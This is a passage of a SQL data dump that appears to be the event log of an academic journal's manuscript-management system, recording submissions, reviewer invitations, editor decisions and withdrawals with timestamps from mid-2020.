12:40:48','Author sent Email',4717,'Author',5933),(40122,'2020-06-18 13:12:10','Author sent Email',4717,'Author',5933),(40127,'2020-06-18 14:19:51','Manuscript Submitted by Author',4733,'Author',5872),(40129,'2020-06-18 14:44:54','Author sent Email',4717,'Author',5933),(40143,'2020-06-18 17:07:39','Publisher : Notified Author',4636,'Publisher',85),(40150,'2020-06-18 17:22:18','Publisher has Invited Reviewer',4585,'Publisher',85),(40151,'2020-06-18 17:22:19','Publisher has Invited Reviewer',4585,'Publisher',85),(40152,'2020-06-18 17:22:21','Publisher has Invited Reviewer',4585,'Publisher',85),(40153,'2020-06-18 17:22:22','Publisher has Invited Reviewer',4585,'Publisher',85),(40154,'2020-06-18 17:22:23','Publisher has Invited Reviewer',4585,'Publisher',85),(40155,'2020-06-18 17:40:02','Manuscript Submitted by Author using Submission form',4739,'Author',5955),(40192,'2020-06-18 20:07:34','Reviewer has submitted comments',4607,'Reviewer',13331),(40195,'2020-06-18 22:04:56','Reviewer has submitted comments',3974,'Reviewer',10287),(40197,'2020-06-19 01:03:55','Manuscript has been Revised',4392,'Author',5362),(40198,'2020-06-19 01:04:16','Manuscript has been Revised',4392,'Author',5362),(40199,'2020-06-19 01:05:04','Manuscript has been Revised',4392,'Author',5362),(40200,'2020-06-19 01:07:06','Manuscript has been Revised',4392,'Author',5362),(40202,'2020-06-19 07:26:10','Manuscript has been Revised',4056,'Author',5257),(40203,'2020-06-19 07:27:50','Author sent Email',4056,'Author',5257),(40204,'2020-06-19 08:43:42','Publisher has been Assigned Editor',4719,'Publisher',75),(40211,'2020-06-19 10:04:09','Publisher has been Assigned Editor',4724,'Publisher',376),(40237,'2020-06-19 11:21:16','Reviewer has submitted comments',4707,'Reviewer',13180),(40258,'2020-06-19 15:36:18','Publisher has been Assigned Editor',4733,'Publisher',85),(40259,'2020-06-19 15:36:48','Publisher : Notified Editor',4056,'Publisher',85),(40263,'2020-06-19 17:34:49','Manuscript Submitted by Author using Submission form',4757,'Author',5971),(40267,'2020-06-19 18:38:42','Publisher has Invited Reviewer',4733,'Publisher',85),(40268,'2020-06-19 18:38:44','Publisher has Invited Reviewer',4733,'Publisher',85),(40269,'2020-06-19 18:38:45','Publisher has Invited Reviewer',4733,'Publisher',85),(40270,'2020-06-19 18:38:47','Publisher has Invited Reviewer',4733,'Publisher',85),(40271,'2020-06-19 18:38:48','Publisher has Invited Reviewer',4733,'Publisher',85),(40272,'2020-06-19 18:38:49','Publisher has Invited Reviewer',4733,'Publisher',85),(40273,'2020-06-19 18:38:51','Publisher has Invited Reviewer',4733,'Publisher',85),(40274,'2020-06-19 18:38:52','Publisher has Invited Reviewer',4733,'Publisher',85),(40275,'2020-06-19 18:38:53','Publisher has Invited Reviewer',4733,'Publisher',85),(40276,'2020-06-19 18:43:36','Editor has been Editor Decision Accepted article',4056,'Editor',1393),(40278,'2020-06-19 18:52:10','Publisher : Notified Editor',4392,'Publisher',85),(40279,'2020-06-19 18:56:40','Editor has been Editor Decision Accepted article',4392,'Editor',1408),(40284,'2020-06-20 01:34:39','Reviewer has submitted comments',4585,'Reviewer',8997),(40304,'2020-06-20 09:14:34','Publisher: Accept Notification has been sent to Author',4056,'Publisher',85),(40319,'2020-06-20 11:07:24','Manuscript Submitted by Author using Submission form',4764,'Author',5977),(40333,'2020-06-20 12:12:54','Publisher: Accept Notification has been sent to Author',4392,'Publisher',85),(40334,'2020-06-20 12:26:05','Manuscript Submitted by Author using Submission form',4765,'Author',5978),(40336,'2020-06-20 12:28:46','Publisher : Notified Editor',4607,'Publisher',85),(40340,'2020-06-20 12:29:21','Editor has Accepted to review Manuscript',4607,'Editor',204),(40342,'2020-06-20 12:29:44','Editor has been Revise (Notify Author) article',4607,'Editor',204),(40343,'2020-06-20 12:30:31','Publisher : Notified Author',4607,'Publisher',85),(40346,'2020-06-20 13:02:12','Publisher : Notified Editor',4585,'Publisher',85),(40347,'2020-06-20 13:03:05','Editor has Accepted to review Manuscript',4585,'Editor',1343),(40348,'2020-06-20 13:03:27','Editor has been Editor Decision Accepted article',4585,'Editor',1343),(40349,'2020-06-20 13:38:03','Publisher has been Assigned Editor',4757,'Publisher',988),(40350,'2020-06-20 13:38:30','Publisher has Invited Reviewer',4757,'Publisher',988),(40358,'2020-06-20 17:14:01','Publisher: Accept Notification has been sent to Author',4585,'Publisher',85),(40359,'2020-06-20 17:39:20','Publisher has been Assigned Editor',4706,'Publisher',645),(40363,'2020-06-20 18:53:58','Editor has Accepted to review Manuscript',4719,'Editor',160),(40364,'2020-06-20 18:55:29','Editor has Invited Reviewer',4719,'Editor',160),(40365,'2020-06-20 18:55:30','Editor has Invited Reviewer',4719,'Editor',160),(40366,'2020-06-20 18:55:32','Editor has Invited Reviewer',4719,'Editor',160),(40367,'2020-06-20 18:55:33','Editor has Invited Reviewer',4719,'Editor',160),(40368,'2020-06-20 18:55:34','Editor has Invited Reviewer',4719,'Editor',160),(40370,'2020-06-20 20:16:58','Editor has been Revise (Notify Author) article',4226,'Editor',1393),(40371,'2020-06-20 20:18:15','Editor has been Editor Decision Accepted article',4056,'Editor',1393),(40377,'2020-06-21 00:07:08','Reviewer has updated comments',4498,'Reviewer',11353),(40378,'2020-06-21 00:08:00','Reviewer has updated comments',4498,'Reviewer',11353),(40387,'2020-06-21 10:19:34','Publisher : Notified Author',4226,'Publisher',85),(40397,'2020-06-21 14:44:26','Reviewer has submitted comments',4607,'Reviewer',13332),(40400,'2020-06-21 19:22:51','Manuscript Submitted by Author using Submission form',4776,'Author',5990),(40402,'2020-06-22 00:33:15','Manuscript Submitted by Author using Submission form',4778,'Author',5992),(40453,'2020-06-22 09:45:33','Reviewer has submitted comments',4757,'Reviewer',12972),(40456,'2020-06-22 10:14:05','Manuscript Submitted by Author using Submission form',4779,'Author',5993),(40459,'2020-06-22 10:51:38','Manuscript Submitted by Author using Submission form',4783,'Author',5997),(40461,'2020-06-22 11:12:02','Publisher has been Assigned Editor',4778,'Publisher',48),(40463,'2020-06-22 11:17:53','Manuscript Submitted by Publisher',4784,'Publisher',48),(40464,'2020-06-22 11:18:04','Publisher has been Assigned Editor',4784,'Publisher',48),(40478,'2020-06-22 11:54:55','Publisher has been Assigned Editor',4739,'Publisher',75),(40482,'2020-06-22 11:55:28','Publisher has Invited Reviewer',4676,'Publisher',75),(40483,'2020-06-22 11:55:29','Publisher has Invited Reviewer',4676,'Publisher',75),(40484,'2020-06-22 11:55:30','Publisher has Invited Reviewer',4676,'Publisher',75),(40553,'2020-06-22 16:42:09','Publisher: Accept Notification has been sent to Author',4056,'Publisher',85),(40567,'2020-06-23 07:35:28','Reviewer has submitted comments',4733,'Reviewer',13331),(40576,'2020-06-23 10:05:57','Manuscript has been Revised',4607,'Author',5818),(40581,'2020-06-23 12:48:58','Editor has been Editor Decision Accepted article',4607,'Editor',204),(40591,'2020-06-23 17:11:58','Publisher has been Assigned Editor',4779,'Publisher',988),(40592,'2020-06-23 17:17:21','Editor has Accepted to review Manuscript',4659,'Editor',1410),(40593,'2020-06-23 17:17:33','Editor has Accepted to review Manuscript',4690,'Editor',1410),(40594,'2020-06-23 17:17:41','Editor has Accepted to review Manuscript',4707,'Editor',1410),(40595,'2020-06-23 17:17:49','Editor has Accepted to review Manuscript',4757,'Editor',1410),(40596,'2020-06-23 17:18:12','Editor has been Editor Decision Accepted article',4757,'Editor',1410),(40597,'2020-06-23 17:18:29','Editor has been Editor Decision Accepted article',4707,'Editor',1410),(40598,'2020-06-23 17:18:45','Editor has been Editor Decision Accepted article',4690,'Editor',1410),(40599,'2020-06-23 17:19:19','Editor has been Editor Decision Accepted article',4659,'Editor',1410),(40600,'2020-06-23 17:20:20','Publisher has been Accepted Articles  article',4659,'Publisher',988),(40601,'2020-06-23 17:20:25','Publisher has been Accepted Articles  article',4659,'Publisher',988),(40602,'2020-06-23 17:20:58','Publisher has been Accepted Articles  article',4690,'Publisher',988),(40603,'2020-06-23 17:21:23','Publisher has been Accepted Articles  article',4707,'Publisher',988),(40604,'2020-06-23 17:21:27','Publisher has been Accepted Articles  article',4707,'Publisher',988),(40625,'2020-06-23 21:11:55','Author sent Email',3974,'Author',5175),(40633,'2020-06-24 09:54:32','Publisher has been Assigned Editor',4776,'Publisher',376),(40634,'2020-06-24 09:56:06','Publisher has Invited Reviewer',4641,'Publisher',48),(40636,'2020-06-24 09:58:11','Publisher has Invited Reviewer',4784,'Publisher',48),(40637,'2020-06-24 09:58:12','Publisher has Invited Reviewer',4784,'Publisher',48),(40638,'2020-06-24 09:58:31','Publisher has Invited Reviewer',4778,'Publisher',48),(40639,'2020-06-24 09:58:32','Publisher has Invited Reviewer',4778,'Publisher',48),(40640,'2020-06-24 10:00:26','Publisher has Invited Reviewer',4720,'Publisher',48),(40641,'2020-06-24 10:00:27','Publisher has Invited Reviewer',4720,'Publisher',48),(40642,'2020-06-24 10:00:48','Publisher has Invited Reviewer',4715,'Publisher',48),(40643,'2020-06-24 10:00:49','Publisher has Invited Reviewer',4715,'Publisher',48),(40677,'2020-06-24 14:02:23','Publisher : Notified Author',4636,'Publisher',85),(40678,'2020-06-24 14:47:54','Publisher : Notified Author',4226,'Publisher',85),(40679,'2020-06-24 14:48:14','Publisher : Notified Author',4194,'Publisher',85),(40680,'2020-06-24 14:48:31','Publisher : Notified Author',4058,'Publisher',85),(40685,'2020-06-24 15:30:27','Manuscript Submitted by Author using Submission form',4820,'Author',6032),(40689,'2020-06-24 16:05:27','Publisher: Accept Notification has been sent to Author',4437,'Publisher',48),(40695,'2020-06-24 16:19:15','Publisher has been Accepted Articles  article',4437,'Publisher',48),(40696,'2020-06-24 16:20:08','Editor has Accepted to review Manuscript',4439,'Editor',194),(40697,'2020-06-24 16:20:21','Editor has been Editor Decision Accepted article',4439,'Editor',194),(40698,'2020-06-24 16:20:33','Editor has been Editor Decision Accepted article',4396,'Editor',194),(40700,'2020-06-24 16:22:46','Publisher: Accept Notification has been sent to Author',4439,'Publisher',48),(40701,'2020-06-24 16:23:04','Publisher: Accept Notification has been sent to Author',4396,'Publisher',48),(40736,'2020-06-24 17:24:27','Publisher has been Rejected Articles  article',4006,'Publisher',319),(40738,'2020-06-24 17:52:40','Manuscript Submitted by Author using Submission form',4825,'Author',6037),(40740,'2020-06-24 18:05:58','Publisher: Accept Notification has been sent to Author',4607,'Publisher',85),(40741,'2020-06-24 18:06:49','Reviewer has submitted comments',4623,'Reviewer',9910),(40747,'2020-06-24 18:11:21','Publisher : Notified Editor',4251,'Publisher',319),(40748,'2020-06-24 18:12:23','Editor has been Revise (Notify Author) article',4251,'Editor',1067),(40749,'2020-06-24 18:18:26','Publisher : Notified Author',4251,'Publisher',319),(40750,'2020-06-24 18:27:38','Editor has Accepted to review Manuscript',4623,'Editor',1235),(40751,'2020-06-24 18:28:15','Editor has been Revise (Notify Author) article',4623,'Editor',1235),(40752,'2020-06-24 18:30:23','Publisher : Notified Author',4623,'Publisher',274),(40753,'2020-06-24 18:33:37','Publisher : Notified Author',4138,'Publisher',319),(40754,'2020-06-24 19:00:28','Publisher has been Assigned Editor',4820,'Publisher',85),(40755,'2020-06-24 19:01:42','Publisher has Invited Reviewer',4820,'Publisher',85),(40756,'2020-06-24 19:01:43','Publisher has Invited Reviewer',4820,'Publisher',85),(40757,'2020-06-24 19:01:45','Publisher has Invited Reviewer',4820,'Publisher',85),(40758,'2020-06-24 19:01:46','Publisher has Invited Reviewer',4820,'Publisher',85),(40759,'2020-06-24 19:01:47','Publisher has Invited Reviewer',4820,'Publisher',85),(40760,'2020-06-24 19:01:49','Publisher has Invited Reviewer',4820,'Publisher',85),(40761,'2020-06-24 19:01:50','Publisher has Invited Reviewer',4820,'Publisher',85),(40762,'2020-06-24 19:01:51','Publisher has Invited Reviewer',4820,'Publisher',85),(40763,'2020-06-24 19:01:52','Publisher has Invited Reviewer',4820,'Publisher',85),(40764,'2020-06-24 19:01:53','Publisher has Invited Reviewer',4820,'Publisher',85),(40765,'2020-06-24 19:01:55','Publisher has Invited Reviewer',4820,'Publisher',85),(40766,'2020-06-24 19:01:56','Publisher has Invited Reviewer',4820,'Publisher',85),(40767,'2020-06-24 19:01:58','Publisher has Invited Reviewer',4820,'Publisher',85),(40777,'2020-06-24 20:01:04','Manuscript Submitted by Author using Submission form',4827,'Author',6040),(40796,'2020-06-25 15:05:16','Publisher has been Assigned Editor',4764,'Publisher',972),(40797,'2020-06-25 15:05:58','Publisher has Invited Reviewer',4764,'Publisher',972),(40798,'2020-06-25 15:05:59','Publisher has Invited Reviewer',4764,'Publisher',972),(40799,'2020-06-25 15:06:01','Publisher has Invited Reviewer',4764,'Publisher',972),(40800,'2020-06-25 15:06:18','Publisher has Invited Reviewer',4764,'Publisher',972),(40826,'2020-06-25 17:47:17','Manuscript Submitted by Publisher',4840,'Publisher',48),(40827,'2020-06-25 17:47:49','Publisher has been Assigned Editor',4840,'Publisher',48),(40858,'2020-06-25 22:53:21','Publisher has Invited Reviewer',4706,'Publisher',645),(40859,'2020-06-25 22:53:23','Publisher has Invited Reviewer',4706,'Publisher',645),(40860,'2020-06-25 22:53:24','Publisher has Invited Reviewer',4706,'Publisher',645),(40861,'2020-06-25 22:53:25','Publisher has Invited Reviewer',4706,'Publisher',645),(40862,'2020-06-25 22:53:26','Publisher has Invited Reviewer',4706,'Publisher',645),(40866,'2020-06-26 09:04:18','Reviewer has submitted comments',4784,'Reviewer',13523),(40889,'2020-06-26 10:24:25','Editor has Accepted to review Manuscript',4784,'Editor',194),(40890,'2020-06-26 10:24:37','Editor has been Editor Decision Accepted article',4784,'Editor',194),(40891,'2020-06-26 10:25:18','Publisher: Accept Notification has been sent to Author',4784,'Publisher',48),(40933,'2020-06-26 13:27:59','Manuscript Submitted by Author using Submission form',4859,'Author',6073),(40945,'2020-06-26 15:17:05','Publisher has been Assigned Editor',4859,'Publisher',48),(40950,'2020-06-26 17:39:03','Manuscript Submitted by Author using Submission form',4870,'Author',6085),(40980,'2020-06-26 20:38:44','Manuscript Submitted by Author using Submission form',4885,'Author',6029),(41036,'2020-06-27 12:14:58','Publisher has been Assigned Editor',4885,'Publisher',319),(41077,'2020-06-27 13:58:14','Publisher has been Accepted Articles  article',4784,'Publisher',48),(41078,'2020-06-27 15:20:57','Editor has Accepted to review Manuscript',4324,'Editor',194),(41079,'2020-06-27 15:21:11','Editor has been Editor Decision Accepted article',4324,'Editor',194),(41080,'2020-06-27 15:21:42','Editor has Accepted to review Manuscript',4568,'Editor',194),(41081,'2020-06-27 15:21:55','Editor has been Editor Decision Accepted article',4568,'Editor',194),(41082,'2020-06-27 15:22:24','Publisher: Accept Notification has been sent to Author',4568,'Publisher',48),(41083,'2020-06-27 15:23:55','Publisher: Accept Notification has been sent to Author',4324,'Publisher',48),(41097,'2020-06-28 09:53:14','Editor has Accepted to review Manuscript',4885,'Editor',1067),(41121,'2020-06-28 15:28:37','Manuscript Submitted by Author using Submission form',4915,'Author',6131),(41123,'2020-06-28 17:58:29','Reviewer has been sent email to Publisher',3860,'Reviewer',4452),(41128,'2020-06-29 04:22:04','Editor has Accepted to review Manuscript',4840,'Editor',195),(41129,'2020-06-29 04:23:27','Editor has Invited Reviewer',4840,'Editor',195),(41130,'2020-06-29 04:23:28','Editor has Invited Reviewer',4840,'Editor',195),(41131,'2020-06-29 04:23:29','Editor has Invited Reviewer',4840,'Editor',195),(41132,'2020-06-29 04:23:31','Editor has Invited Reviewer',4840,'Editor',195),(41133,'2020-06-29 04:23:32','Editor has Invited Reviewer',4840,'Editor',195),(41134,'2020-06-29 04:23:34','Editor has Invited Reviewer',4840,'Editor',195),(41135,'2020-06-29 04:23:35','Editor has Invited Reviewer',4840,'Editor',195),(41136,'2020-06-29 04:23:36','Editor has Invited Reviewer',4840,'Editor',195),(41137,'2020-06-29 04:24:03','Editor has Invited Reviewer',4840,'Editor',195),(41138,'2020-06-29 04:24:04','Editor has Invited Reviewer',4840,'Editor',195),(41139,'2020-06-29 04:24:05','Editor has Invited Reviewer',4840,'Editor',195),(41140,'2020-06-29 04:24:06','Editor has Invited Reviewer',4840,'Editor',195),(41141,'2020-06-29 04:24:08','Editor has Invited Reviewer',4840,'Editor',195),(41142,'2020-06-29 04:24:09','Editor has Invited Reviewer',4840,'Editor',195),(41143,'2020-06-29 04:24:33','Editor has Invited Reviewer',4840,'Editor',195),(41144,'2020-06-29 04:24:34','Editor has Invited Reviewer',4840,'Editor',195),(41145,'2020-06-29 04:24:36','Editor has Invited Reviewer',4840,'Editor',195),(41146,'2020-06-29 04:24:37','Editor has Invited Reviewer',4840,'Editor',195),(41147,'2020-06-29 04:24:39','Editor has Invited Reviewer',4840,'Editor',195),(41148,'2020-06-29 04:24:40','Editor has Invited Reviewer',4840,'Editor',195),(41149,'2020-06-29 04:25:19','Editor has Invited Reviewer',4840,'Editor',195),(41150,'2020-06-29 04:25:21','Editor has Invited Reviewer',4840,'Editor',195),(41151,'2020-06-29 04:25:22','Editor has Invited Reviewer',4840,'Editor',195),(41152,'2020-06-29 04:25:23','Editor has Invited Reviewer',4840,'Editor',195),(41153,'2020-06-29 04:25:24','Editor has Invited Reviewer',4840,'Editor',195),(41154,'2020-06-29 04:25:25','Editor has Invited Reviewer',4840,'Editor',195),(41155,'2020-06-29 04:25:26','Editor has Invited Reviewer',4840,'Editor',195),(41156,'2020-06-29 04:25:27','Editor has Invited Reviewer',4840,'Editor',195),(41161,'2020-06-29 10:42:43','Manuscript Submitted by Author using Submission form',4920,'Author',6136),(41168,'2020-06-29 11:46:02','Publisher has been Assigned Editor',4870,'Publisher',48),(41179,'2020-06-29 14:52:04','Publisher has Invited Reviewer',4885,'Publisher',319),(41180,'2020-06-29 14:52:08','Publisher has Invited Reviewer',4885,'Publisher',319),(41181,'2020-06-29 14:52:12','Publisher has Invited Reviewer',4885,'Publisher',319),(41182,'2020-06-29 14:52:16','Publisher has Invited Reviewer',4885,'Publisher',319),(41183,'2020-06-29 14:52:20','Publisher has Invited Reviewer',4885,'Publisher',319),(41184,'2020-06-29 14:52:24','Publisher has Invited Reviewer',4885,'Publisher',319),(41185,'2020-06-29 14:52:28','Publisher has Invited Reviewer',4885,'Publisher',319),(41186,'2020-06-29 14:52:32','Publisher has Invited Reviewer',4885,'Publisher',319),(41209,'2020-06-29 17:06:46','Publisher has been Withdrawn  article',4859,'Publisher',48),(41210,'2020-06-29 17:08:18','Publisher: Reject Notification has been sent to Author',4859,'Publisher',48),(41224,'2020-06-29 17:18:36','Publisher has been Withdrawn  article',4757,'Publisher',988),(41243,'2020-06-29 22:47:51','Publisher : Notified Editor',4733,'Publisher',85),(41244,'2020-06-29 22:49:50','Publisher has Invited Reviewer',4820,'Publisher',85),(41245,'2020-06-29 22:49:52','Publisher has Invited Reviewer',4820,'Publisher',85),(41246,'2020-06-29 22:49:54','Publisher has Invited Reviewer',4820,'Publisher',85),(41247,'2020-06-29 22:53:42','Editor has Accepted to review Manuscript',4733,'Editor',1408),(41248,'2020-06-29 22:53:59','Editor has been Revise (Notify Author) article',4733,'Editor',1408),(41249,'2020-06-29 22:55:42','Publisher : Notified Author',4733,'Publisher',85),(41266,'2020-06-30 10:35:04','Manuscript Submitted by Author using Submission form',4939,'Author',6154),(41290,'2020-06-30 12:28:57','Manuscript Submitted by Publisher',4958,'Publisher',48),(41291,'2020-06-30 12:30:10','Publisher has been Assigned Editor',4958,'Publisher',48),(41309,'2020-06-30 13:17:28','Reviewer has submitted comments',4885,'Reviewer',12875),(41310,'2020-06-30 13:31:52','Publisher has been Assigned Editor',4939,'Publisher',48),(41321,'2020-06-30 14:19:20','Manuscript Submitted by Author using Submission form',4969,'Author',6181),(41328,'2020-06-30 16:00:08','Reviewer has submitted comments',4820,'Reviewer',12513),(41359,'2020-06-30 18:41:08','Publisher has been Assigned Editor',4915,'Publisher',75),(41360,'2020-06-30 18:41:26','Publisher has been Assigned Editor',4665,'Publisher',75),(41378,'2020-07-01 08:30:55','Publisher has been Assigned Editor',4969,'Publisher',85),(41379,'2020-07-01 08:31:47','Publisher has Invited Reviewer',4969,'Publisher',85),(41380,'2020-07-01 08:31:48','Publisher has Invited Reviewer',4969,'Publisher',85),(41381,'2020-07-01 08:31:49','Publisher has Invited Reviewer',4969,'Publisher',85),(41382,'2020-07-01 08:31:50','Publisher has Invited Reviewer',4969,'Publisher',85),(41383,'2020-07-01 08:31:51','Publisher has Invited Reviewer',4969,'Publisher',85),(41384,'2020-07-01 08:31:53','Publisher has Invited Reviewer',4969,'Publisher',85),(41385,'2020-07-01 08:31:54','Publisher has Invited Reviewer',4969,'Publisher',85),(41386,'2020-07-01 08:31:55','Publisher has Invited Reviewer',4969,'Publisher',85),(41387,'2020-07-01 08:31:56','Publisher has Invited Reviewer',4969,'Publisher',85),(41388,'2020-07-01 08:31:57','Publisher has Invited Reviewer',4969,'Publisher',85),(41389,'2020-07-01 08:31:59','Publisher has Invited Reviewer',4969,'Publisher',85),(41393,'2020-07-01 08:45:31','Publisher has Invited Reviewer',4483,'Publisher',84),(41394,'2020-07-01 08:45:33','Publisher has Invited Reviewer',4483,'Publisher',84),(41395,'2020-07-01 08:45:34','Publisher has Invited Reviewer',4483,'Publisher',84),(41396,'2020-07-01 08:45:35','Publisher has Invited Reviewer',4483,'Publisher',84),(41397,'2020-07-01 08:45:37','Publisher has Invited Reviewer',4483,'Publisher',84),(41398,'2020-07-01 08:45:38','Publisher has Invited Reviewer',4483,'Publisher',84),(41399,'2020-07-01 08:45:39','Publisher has Invited Reviewer',4483,'Publisher',84),(41400,'2020-07-01 08:45:40','Publisher has Invited Reviewer',4483,'Publisher',84),(41401,'2020-07-01 08:45:42','Publisher has Invited Reviewer',4483,'Publisher',84),(41402,'2020-07-01 08:45:43','Publisher has Invited Reviewer',4483,'Publisher',84),(41403,'2020-07-01 08:45:44','Publisher has Invited Reviewer',4483,'Publisher',84),(41404,'2020-07-01 08:45:46','Publisher has Invited Reviewer',4483,'Publisher',84),(41405,'2020-07-01 08:45:47','Publisher has Invited Reviewer',4483,'Publisher',84),(41406,'2020-07-01 08:45:50','Publisher has Invited Reviewer',4483,'Publisher',84),(41407,'2020-07-01 08:45:52','Publisher has Invited Reviewer',4483,'Publisher',84),(41408,'2020-07-01 08:45:53','Publisher has Invited Reviewer',4483,'Publisher',84),(41409,'2020-07-01 08:45:55','Publisher has Invited Reviewer',4483,'Publisher',84),(41410,'2020-07-01 08:45:56','Publisher has Invited Reviewer',4483,'Publisher',84),(41411,'2020-07-01 08:45:57','Publisher has Invited Reviewer',4483,'Publisher',84),(41412,'2020-07-01 08:45:58','Publisher has Invited Reviewer',4483,'Publisher',84),(41413,'2020-07-01 08:45:59','Publisher has Invited Reviewer',4483,'Publisher',84),(41414,'2020-07-01 08:46:00','Publisher has Invited Reviewer',4483,'Publisher',84),(41415,'2020-07-01 08:46:01','Publisher has Invited Reviewer',4483,'Publisher',84),(41416,'2020-07-01 08:46:02','Publisher has Invited Reviewer',4483,'Publisher',84),(41417,'2020-07-01 08:46:05','Publisher has Invited Reviewer',4483,'Publisher',84),(41418,'2020-07-01 08:46:06','Publisher has Invited Reviewer',4483,'Publisher',84),(41419,'2020-07-01 08:46:07','Publisher has Invited Reviewer',4483,'Publisher',84),(41420,'2020-07-01 08:46:08','Publisher has Invited Reviewer',4483,'Publisher',84),(41462,'2020-07-01 11:39:31','Manuscript Submitted by Author using Submission form',5003,'Author',6209),(41530,'2020-07-01 21:13:56','Manuscript Submitted by Author using Submission form',5037,'Author',6220),(41541,'2020-07-02 05:02:46','Manuscript Submitted by Author',5041,'Author',4022),(41568,'2020-07-02 11:15:05','Publisher has been Assigned Editor',5003,'Publisher',48),(41571,'2020-07-02 12:18:44','Reviewer has submitted comments',3986,'Reviewer',11456),(41592,'2020-07-02 15:48:36','Publisher has been Withdrawn  article',4717,'Publisher',85),(41593,'2020-07-02 17:02:22','Publisher has been Assigned Editor',5041,'Publisher',248),(41595,'2020-07-02 18:05:57','Publisher has been Withdrawn  article',3835,'Publisher',645),(41636,'2020-07-02 19:19:12','Publisher has been Assigned Editor',5035,'Publisher',48),(41665,'2020-07-02 21:49:49','Editor has Accepted to review Manuscript',4969,'Editor',1393),(41704,'2020-07-03 09:42:22','Publisher has been Assigned Editor',5037,'Publisher',988),(41705,'2020-07-03 09:44:16','Publisher has been Assigned Editor',4920,'Publisher',376),(41706,'2020-07-03 12:29:00','Publisher has Invited Reviewer',4958,'Publisher',48),(41707,'2020-07-03 12:29:51','Editor has Accepted to review Manuscript',4958,'Editor',194),(41708,'2020-07-03 12:30:03','Editor has been Editor Decision Accepted article',4958,'Editor',194),(41709,'2020-07-03 12:30:36','Publisher: Accept Notification has been sent to Author',4958,'Publisher',48),(41724,'2020-07-03 17:14:36','Publisher has been Withdrawn  article',4216,'Publisher',274),(41725,'2020-07-03 17:19:48','Reviewer has submitted comments',4467,'Reviewer',9028),(41726,'2020-07-03 17:20:30','Publisher : Notified Editor',4467,'Publisher',248),(41727,'2020-07-03 17:20:54','Editor has Accepted to review Manuscript',4467,'Editor',357),(41728,'2020-07-03 17:21:03','Editor has been Editor Decision Accepted article',4467,'Editor',357),(41729,'2020-07-03 17:21:54','Editor has been Editor Decision Accepted article',4467,'Editor',357),(41730,'2020-07-03 17:22:06','Editor has been Editor Decision Accepted article',4467,'Editor',357),(41731,'2020-07-03 17:22:25','Editor has been Editor Decision Accepted article',4467,'Editor',357),(41732,'2020-07-03 17:22:47','Publisher: Accept Notification has been sent to Author',4467,'Publisher',248),(41735,'2020-07-03 18:01:40','Publisher has Invited Reviewer',4665,'Publisher',75),(41736,'2020-07-03 18:01:50','Publisher has Invited Reviewer',4665,'Publisher',75),(41737,'2020-07-03 18:02:05','Publisher has Invited Reviewer',4665,'Publisher',75),(41738,'2020-07-03 18:02:06','Publisher has Invited Reviewer',4665,'Publisher',75),(41739,'2020-07-03 18:02:08','Publisher has Invited Reviewer',4665,'Publisher',75),(41740,'2020-07-03 18:02:09','Publisher has Invited Reviewer',4665,'Publisher',75),(41751,'2020-07-03 18:42:56','Publisher has been Withdrawn  article',5037,'Publisher',988),(41752,'2020-07-03 18:43:29','Publisher has Invited Reviewer',4779,'Publisher',988),(41754,'2020-07-03 18:46:57','Reviewer has submitted comments',4779,'Reviewer',13180),(41779,'2020-07-04 10:17:38','Manuscript Submitted by Author using Submission form',5067,'Author',6241),(41785,'2020-07-04 14:17:57','Reviewer has submitted comments',4665,'Reviewer',10287),(41790,'2020-07-04 16:34:55','Reviewer has submitted comments',4337,'Reviewer',10393),(41835,'2020-07-06 00:36:06','Manuscript Submitted by Author',5071,'Author',5888),(41836,'2020-07-06 01:28:42','Publisher has been Withdrawn  article',3986,'Publisher',984),(41837,'2020-07-06 01:28:49','Publisher has been Withdrawn  article',4071,'Publisher',984),(41838,'2020-07-06 01:28:57','Publisher has been Withdrawn  article',4074,'Publisher',984),(41843,'2020-07-06 04:05:16','Publisher: Accept Notification has been sent to Author',4467,'Publisher',248),(41844,'2020-07-06 04:06:56','Editor has been Editor Decision Accepted article',4467,'Editor',357),(41887,'2020-07-06 08:45:42','Publisher has been Assigned Editor',5071,'Publisher',645),(41929,'2020-07-07 00:40:15','Publisher : Notified Editor',4820,'Publisher',85),(41930,'2020-07-07 00:40:54','Editor has Accepted to review Manuscript',4820,'Editor',1439),(41931,'2020-07-07 00:41:12','Editor has been Editor Decision Accepted article',4820,'Editor',1439),(41941,'2020-07-07 02:48:45','Manuscript Submitted by Publisher',5089,'Publisher',48),(41942,'2020-07-07 02:52:44','Publisher has been Assigned Editor',5089,'Publisher',48),(41959,'2020-07-07 05:04:55','Editor has Accepted to review Manuscript',4778,'Editor',194),(41960,'2020-07-07 05:05:23','Editor has been Editor Decision Accepted article',4778,'Editor',194),(41961,'2020-07-07 05:05:40','Editor has Accepted to review Manuscript',4641,'Editor',194),(41962,'2020-07-07 05:05:54','Editor has been Editor Decision Accepted article',4641,'Editor',194),(41963,'2020-07-07 05:06:13','Editor has Accepted to review Manuscript',4567,'Editor',194),(41964,'2020-07-07 05:06:28','Editor has been Editor Decision Accepted article',4567,'Editor',194),(41965,'2020-07-07 05:06:30','Editor has been Editor Decision Accepted article',4567,'Editor',194),(41966,'2020-07-07 05:06:43','Editor has Accepted to review Manuscript',4438,'Editor',194),(41967,'2020-07-07 05:06:53','Editor has been Editor Decision Accepted article',4438,'Editor',194),(41974,'2020-07-07 05:18:39','Publisher: Accept Notification has been sent to Author',4778,'Publisher',48),(41989,'2020-07-07 07:20:16','Manuscript Submitted by Author using Submission form',5092,'Author',6266),(42002,'2020-07-07 08:10:10','Publisher: Accept Notification has been sent to Author',4820,'Publisher',85),(42041,'2020-07-07 08:46:54','Publisher has Invited Reviewer',4969,'Publisher',85),(42042,'2020-07-07 08:46:55','Publisher has Invited Reviewer',4969,'Publisher',85),(42043,'2020-07-07 08:46:57','Publisher has Invited Reviewer',4969,'Publisher',85),(42044,'2020-07-07 08:46:58','Publisher has Invited Reviewer',4969,'Publisher',85),(42045,'2020-07-07 08:51:46','Publisher has Invited Reviewer',4608,'Publisher',85),(42046,'2020-07-07 08:51:47','Publisher has Invited Reviewer',4608,'Publisher',85),(42047,'2020-07-07 08:51:50','Publisher has Invited Reviewer',4608,'Publisher',85),(42048,'2020-07-07 08:52:02','Publisher has Invited Reviewer',4608,'Publisher',85),(42049,'2020-07-07 08:52:03','Publisher has Invited Reviewer',4608,'Publisher',85),(42050,'2020-07-07 08:52:04','Publisher has Invited Reviewer',4608,'Publisher',85),(42051,'2020-07-07 08:52:11','Publisher has Invited Reviewer',4608,'Publisher',85),(42052,'2020-07-07 08:52:12','Publisher has Invited Reviewer',4608,'Publisher',85),(42053,'2020-07-07 08:53:06','Publisher has Invited 